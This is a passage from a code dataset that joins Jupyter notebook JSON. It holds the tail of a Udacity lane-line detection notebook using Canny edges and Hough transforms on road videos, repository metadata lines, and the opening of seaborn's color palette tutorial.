sKd\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1a43c278a58>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# define parameters needed for helper functions (given inline)\n", "kernel_size = 5 # gaussian blur\n", "low_threshold = 60 # canny edge detection\n", "high_threshold = 180 # canny edge detection\n", "# Define the Hough transform parameters\n", "rho = 1 # distance resolution in pixels of the Hough grid\n", "theta = np.pi/180 # angular resolution in radians of the Hough grid\n", "threshold = 20 # minimum number of votes (intersections in Hough grid cell)\n", "min_line_length = 40 # minimum number of pixels making up a line\n", "max_line_gap = 25 # maximum gap in pixels between connectable line segments\n", "\n", "for test_image in test_images_list: # iterating through the images in test_images folder\n", " image = mpimg.imread('test_images/' + test_image) # reading in an image\n", " gray = grayscale(image) # convert to grayscale\n", " blur_gray = gaussian_blur(gray, kernel_size) # add gaussian blur to remove noise\n", " edges = canny(blur_gray, low_threshold, high_threshold) # perform canny edge detection\n", " # extract image size and define vertices of the four sided polygon for masking\n", " imshape = image.shape\n", " xsize = imshape[1]\n", " ysize = imshape[0]\n", " vertices = np.array([[(0.05*xsize, ysize ),(0.44*xsize, 0.6*ysize),\\\n", " (0.55*xsize, 0.6*ysize), (0.95*xsize, ysize)]], dtype=np.int32) #\n", " masked_edges = region_of_interest(edges, vertices) # retain information only in the region of interest\n", " line_image = hough_lines(masked_edges, rho, theta, threshold,\\\n", " min_line_length, max_line_gap) # perform hough transform and retain lines with specific properties\n", " lines_edges = weighted_img(line_image, image, α=0.8, β=1., λ=0.) # Draw the lines on the edge image \n", " plt.imshow(lines_edges) # Display the image\n", " plt.show()\n", " mpimg.imsave('test_images_output/' + test_image, lines_edges) # save the resulting image" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Test on Videos\n", "\n", "You know what's cooler than drawing lanes over images? Drawing lanes over video!\n", "\n", "We can test our solution on two provided videos:\n", "\n", "`solidWhiteRight.mp4`\n", "\n", "`solidYellowLeft.mp4`\n", "\n", "**Note: if you get an `import error` when you run the next cell, try changing your kernel (select the Kernel menu above --> Change Kernel). Still have problems? Try relaunching Jupyter Notebook from the terminal prompt. Also, check out [this forum post](https://carnd-forums.udacity.com/questions/22677062/answers/22677109) for more troubleshooting tips.**\n", "\n", "**If you get an error that looks like this:**\n", "```\n", "NeedDownloadError: Need ffmpeg exe. \n", "You can download it by calling: \n", "imageio.plugins.ffmpeg.download()\n", "```\n", "**Follow the instructions in the error message and check out [this forum post](https://carnd-forums.udacity.com/display/CAR/questions/26218840/import-videofileclip-error) for more troubleshooting tips across operating systems.**" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Import everything needed to edit/save/watch video clips\n", "from moviepy.editor import VideoFileClip\n", "from IPython.display import HTML" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def process_image(image):\n", " # NOTE: The output you return should be a color image (3 channel) for processing video below\n", " gray = grayscale(image) # convert to grayscale\n", " blur_gray = gaussian_blur(gray, kernel_size) # add gaussian blur to remove noise\n", " edges = canny(blur_gray, low_threshold, high_threshold) # perform canny edge detection\n", " # extract image size and define vertices of the four sided polygon for masking\n", " imshape = image.shape\n", " xsize = imshape[1]\n", " ysize = imshape[0]\n", " vertices = np.array([[(0.05*xsize, ysize ),(0.44*xsize, 0.6*ysize),\\\n", " (0.55*xsize, 0.6*ysize), (0.95*xsize, ysize)]], dtype=np.int32) #\n", " masked_edges = region_of_interest(edges, vertices) # retain information only in the region of interest\n", " line_image = hough_lines(masked_edges, rho, theta, threshold,\\\n", " min_line_length, max_line_gap) # perform hough transform and retain lines with specific properties\n", " lines_edges = weighted_img(line_image, image, α=0.8, β=1., λ=0.) # Draw the lines on the edge image \n", " return lines_edges" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's try the one with the solid white lane on the right first ..." ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[MoviePy] >>>> Building video test_videos_output/solidWhiteRight.mp4\n", "[MoviePy] Writing video test_videos_output/solidWhiteRight.mp4\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|███████████████████████████████████████████████████████████████████████████████▋| 221/222 [00:07<00:00, 30.65it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "[MoviePy] Done.\n", "[MoviePy] >>>> Video ready: test_videos_output/solidWhiteRight.mp4 \n", "\n", "Wall time: 8.14 s\n" ] } ], "source": [ "white_output = 'test_videos_output/solidWhiteRight.mp4'\n", "## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n", "## To do so add .subclip(start_second,end_second) to the end of the line below\n", "## Where start_second and end_second are integer values representing the start and end of the subclip\n", "## You may also uncomment the following line for a subclip of the first 5 seconds\n", "##clip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\").subclip(0,5)\n", "clip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\")\n", "white_clip = clip1.fl_image(process_image) #NOTE: this function expects color images!!\n", "%time white_clip.write_videofile(white_output, audio=False)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Play the video inline, or if you prefer find the video in your filesystem (should be in the same directory) and play it in your video player of choice." ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "<video width=\"960\" height=\"540\" controls>\n", " <source src=\"test_videos_output/solidWhiteRight.mp4\">\n", "</video>\n" ], "text/plain": [ "<IPython.core.display.HTML object>" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "HTML(\"\"\"\n", "<video width=\"960\" height=\"540\" controls>\n", " <source src=\"{0}\">\n", "</video>\n", "\"\"\".format(white_output))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Improve the draw_lines() function\n", "\n", "**At this point, if you were successful with making the pipeline and tuning parameters, you probably have the Hough line segments drawn onto the road, but what about identifying the full extent of the lane and marking it clearly as in the example video (P1_example.mp4)? Think about defining a line to run the full length of the visible lane based on the line segments you identified with the Hough Transform. As mentioned previously, try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines. You can see an example of the result you're going for in the video \"P1_example.mp4\".**\n", "\n", "**Go back and modify your draw_lines function accordingly and try re-running your pipeline. The new output should draw a single, solid line over the left lane line and a single, solid line over the right lane line. The lines should start from the bottom of the image and extend out to the top of the region of interest.**" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now for the one with the solid yellow lane on the left. This one's more tricky!" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[MoviePy] >>>> Building video test_videos_output/solidYellowLeft.mp4\n", "[MoviePy] Writing video test_videos_output/solidYellowLeft.mp4\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|███████████████████████████████████████████████████████████████████████████████▉| 681/682 [00:21<00:00, 31.42it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "[MoviePy] Done.\n", "[MoviePy] >>>> Video ready: test_videos_output/solidYellowLeft.mp4 \n", "\n", "Wall time: 22.5 s\n" ] } ], "source": [ "yellow_output = 'test_videos_output/solidYellowLeft.mp4'\n", "## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n", "## To do so add .subclip(start_second,end_second) to the end of the line below\n", "## Where start_second and end_second are integer values representing the start and end of the subclip\n", "## You may also uncomment the following line for a subclip of the first 5 seconds\n", "##clip2 = VideoFileClip('test_videos/solidYellowLeft.mp4').subclip(0,5)\n", "clip2 = VideoFileClip('test_videos/solidYellowLeft.mp4')\n", "yellow_clip = clip2.fl_image(process_image)\n", "%time yellow_clip.write_videofile(yellow_output, audio=False)" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "<video width=\"960\" height=\"540\" controls>\n", " <source src=\"test_videos_output/solidYellowLeft.mp4\">\n", "</video>\n" ], "text/plain": [ "<IPython.core.display.HTML object>" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "HTML(\"\"\"\n", "<video width=\"960\" height=\"540\" controls>\n", " <source src=\"{0}\">\n", "</video>\n", "\"\"\".format(yellow_output))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Writeup and Submission\n", "\n", "If you're satisfied with your video outputs, it's time to make the report writeup in a pdf or markdown file. Once you have this Ipython notebook ready along with the writeup, it's time to submit for review! Here is a [link](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) to the writeup template file.\n" ] }, { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "## Optional Challenge\n", "\n", "Try your lane finding pipeline on the video below. Does it still work? Can you figure out a way to make it more robust? If you're up for the challenge, modify your pipeline so it works with this video and submit it along with the rest of your project!" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[MoviePy] >>>> Building video test_videos_output/challenge.mp4\n", "[MoviePy] Writing video test_videos_output/challenge.mp4\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|████████████████████████████████████████████████████████████████████████████████| 251/251 [00:18<00:00, 13.83it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "[MoviePy] Done.\n", "[MoviePy] >>>> Video ready: test_videos_output/challenge.mp4 \n", "\n", "Wall time: 20.7 s\n" ] } ], "source": [ "challenge_output = 'test_videos_output/challenge.mp4'\n", "## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n", "## To do so add .subclip(start_second,end_second) to the end of the line below\n", "## Where start_second and end_second are integer values representing the start and end of the subclip\n", "## You may also uncomment the following line for a subclip of the first 5 seconds\n", "##clip3 = VideoFileClip('test_videos/challenge.mp4').subclip(0,5)\n", "clip3 = VideoFileClip('test_videos/challenge.mp4')\n", "challenge_clip = clip3.fl_image(process_image)\n", "%time challenge_clip.write_videofile(challenge_output, audio=False)" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "<video width=\"960\" height=\"540\" controls>\n", " <source src=\"test_videos_output/challenge.mp4\">\n", "</video>\n" ], "text/plain": [ "<IPython.core.display.HTML object>" ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" } ], "source": [ "HTML(\"\"\"\n", "<video width=\"960\" height=\"540\" controls>\n", " <source src=\"{0}\">\n", "</video>\n", "\"\"\".format(challenge_output))" ] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" }, "widgets": { "state": {}, "version": "1.1.2" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

Zsailer/GK-metadynamics

notebooks/Defining collective variables for ancGK.ipynb

2

2574970

bsd-2-clause

phobson/seaborn

doc/tutorial/color_palettes.ipynb

3

26901

{ "cells": [ { "cell_type": "raw", "metadata": { "raw_mimetype": "text/restructuredtext" }, "source": [ ".. _palette_tutorial:\n", "\n", ".. currentmodule:: seaborn" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Choosing color palettes\n", "=======================\n", "\n", ".. raw:: html\n", "\n", " <div class=col-md-9>\n" ] }, { "cell_type": "raw", "metadata": { "raw_mimetype": "text/restructuredtext" }, "source": [ "Color is more important than other aspects of figure style because color can reveal patterns in the data if used effectively or hide those patterns if used poorly. There are a number of great resources to learn about good techniques for using color in visualizations, I am partial to this `series of blog posts <https://earthobservatory.nasa.gov/blogs/elegantfigures/2013/08/05/subtleties-of-color-part-1-of-6/>`_ from Rob Simmon and this `more technical paper <https://cfwebprod.sandia.gov/cfdocs/CompResearch/docs/ColorMapsExpanded.pdf>`_. The matplotlib docs also now have a `nice tutorial <https://matplotlib.org/users/colormaps.html>`_ that illustrates some of the perceptual properties of the built in colormaps.\n", "\n", "Seaborn makes it easy to select and use color palettes that are suited to the kind of data you are working with and the goals you have in visualizing it." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "import numpy as np\n", "import seaborn as sns\n", "import matplotlib.pyplot as plt\n", "sns.set()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "tags": [ "hide" ] }, "outputs": [], "source": [ "%matplotlib inline\n", "np.random.seed(sum(map(ord, \"palettes\")))" ] }, { "cell_type": "raw", "metadata": { "raw_mimetype": "text/restructuredtext" }, "source": [ "Building color palettes\n", "-----------------------\n", "\n", "The most important function for working with discrete color palettes is :func:`color_palette`. This function provides an interface to many (though not all) of the possible ways you can generate colors in seaborn, and it's used internally by any function that has a ``palette`` argument (and in some cases for a ``color`` argument when multiple colors are needed).\n", "\n", ":func:`color_palette` will accept the name of any seaborn palette or matplotlib colormap (except ``jet``, which you should never use). It can also take a list of colors specified in any valid matplotlib format (RGB tuples, hex color codes, or HTML color names). The return value is always a list of RGB tuples.\n", "\n", "Finally, calling :func:`color_palette` with no arguments will return the current default color cycle.\n", "\n", "A corresponding function, :func:`set_palette`, takes the same arguments and will set the default color cycle for all plots. You can also use :func:`color_palette` in a ``with`` statement to temporarily change the default palette (see :ref:`below <palette_contexts>`).\n", "\n", "It is generally not possible to know what kind of color palette or colormap is best for a set of data without knowing about the characteristics of the data. Following that, we'll break up the different ways to use :func:`color_palette` and other seaborn palette functions by the three general kinds of color palettes: *qualitative*, *sequential*, and *diverging*." ] }, { "cell_type": "raw", "metadata": {}, "source": [ ".. _qualitative_palettes:\n", "\n", "Qualitative color palettes\n", "--------------------------\n", "\n", "Qualitative (or categorical) palettes are best when you want to distinguish discrete chunks of data that do not have an inherent ordering.\n", "\n", "When importing seaborn, the default color cycle is changed to a set of six colors that evoke the standard matplotlib color cycle while aiming to be a bit more pleasing to look at." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "current_palette = sns.color_palette()\n", "sns.palplot(current_palette)" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "There are six variations of the default theme, called ``deep``, ``muted``, ``pastel``, ``bright``, ``dark``, and ``colorblind``." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "tags": [ "hide-input" ] }, "outputs": [], "source": [ "# TODO hide input here when merged with doc updating branch\n", "f = plt.figure(figsize=(6, 6))\n", "\n", "ax_locs = dict(\n", " deep=(.4, .4),\n", " bright=(.8, .8),\n", " muted=(.49, .71),\n", " dark=(.8, .2),\n", " pastel=(.2, .8),\n", " colorblind=(.71, .49),\n", ")\n", "\n", "s = .35\n", "\n", "for pal, (x, y) in ax_locs.items():\n", " ax = f.add_axes([x - s / 2, y - s / 2, s, s])\n", " ax.pie(np.ones(10),\n", " colors=sns.color_palette(pal, 10),\n", " counterclock=False, startangle=180,\n", " wedgeprops=dict(linewidth=1, edgecolor=\"w\"))\n", " f.text(x, y, pal, ha=\"center\", va=\"center\", size=14,\n", " bbox=dict(facecolor=\"white\", alpha=0.85, boxstyle=\"round,pad=0.2\"))\n", "\n", "f.text(.1, .05, \"Saturation\", size=18, ha=\"left\", va=\"center\",\n", " bbox=dict(facecolor=\"white\", edgecolor=\"w\"))\n", "f.text(.05, .1, \"Luminance\", size=18, ha=\"center\", va=\"bottom\", rotation=90,\n", " bbox=dict(facecolor=\"white\", edgecolor=\"w\"))\n", "\n", "ax = f.add_axes([0, 0, 1, 1])\n", "ax.set_axis_off()\n", "ax.arrow(.15, .05, .4, 0, width=.002, head_width=.015, color=\"k\")\n", "ax.arrow(.05, .15, 0, .4, width=.002, head_width=.015, color=\"k\");" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Using circular color systems\n", "~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n", "\n", "When you have an arbitrary number of categories to distinguish without emphasizing any one, the easiest approach is to draw evenly-spaced colors in a circular color space (one where the hue changes while keeping the brightness and saturation constant). This is what most seaborn functions default to when they need to use more colors than are currently set in the default color cycle.\n", "\n", "The most common way to do this uses the ``hls`` color space, which is a simple transformation of RGB values." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"hls\", 8))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "There is also the :func:`hls_palette` function that lets you control the lightness and saturation of the colors." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.hls_palette(8, l=.3, s=.8))" ] }, { "cell_type": "raw", "metadata": { "raw_mimetype": "text/restructuredtext" }, "source": [ "However, because of the way the human visual system works, colors that are even \"intensity\" in terms of their RGB levels won't necessarily look equally intense. `We perceive <https://en.wikipedia.org/wiki/Color_vision>`_ yellows and greens as relatively brighter and blues as relatively darker, which can be a problem when aiming for uniformity with the ``hls`` system.\n", "\n", "To remedy this, seaborn provides an interface to the `husl <http://www.hsluv.org/>`_ system (since renamed to HSLuv), which also makes it easy to select evenly spaced hues while keeping the apparent brightness and saturation much more uniform." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"husl\", 8))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "There is similarly a function called :func:`husl_palette` that provides a more flexible interface to this system.\n", "\n", "Using categorical Color Brewer palettes\n", "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n", "\n", "Another source of visually pleasing categorical palettes comes from the `Color Brewer <http://colorbrewer2.org/>`_ tool (which also has sequential and diverging palettes, as we'll see below). These also exist as matplotlib colormaps, but they are not handled properly. In seaborn, when you ask for a qualitative Color Brewer palette, you'll always get the discrete colors, but this means that at a certain point they will begin to cycle.\n", "\n", "A nice feature of the Color Brewer website is that it provides some guidance on which palettes are color blind safe. There is a variety of `kinds <https://en.wikipedia.org/wiki/Color_blindness>`_ of color blindness, but the most common variant leads to difficulty distinguishing reds and greens. It's generally a good idea to avoid using red and green for plot elements that need to be discriminated based on color." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"Paired\"))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"Set2\"))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "To help you choose palettes from the Color Brewer library, there is the :func:`choose_colorbrewer_palette` function. This function, which must be used in a Jupyter notebook, will launch an interactive widget that lets you browse the various options and tweak their parameters.\n", "\n", "Of course, you might just want to use a set of colors you particularly like together. Because :func:`color_palette` accepts a list of colors, this is easy to do." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "flatui = [\"#9b59b6\", \"#3498db\", \"#95a5a6\", \"#e74c3c\", \"#34495e\", \"#2ecc71\"]\n", "sns.palplot(sns.color_palette(flatui))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ ".. _using_xkcd_palettes:\n", " \n", "Using named colors from the xkcd color survey\n", "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n", "\n", "A while back, `xkcd <https://xkcd.com/>`_ ran a `crowdsourced effort <https://blog.xkcd.com/2010/05/03/color-survey-results/>`_ to name random RGB colors. This produced a set of `954 named colors <https://xkcd.com/color/rgb/>`_, which you can now reference in seaborn using the ``xkcd_rgb`` dictionary:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "plt.plot([0, 1], [0, 1], sns.xkcd_rgb[\"pale red\"], lw=3)\n", "plt.plot([0, 1], [0, 2], sns.xkcd_rgb[\"medium green\"], lw=3)\n", "plt.plot([0, 1], [0, 3], sns.xkcd_rgb[\"denim blue\"], 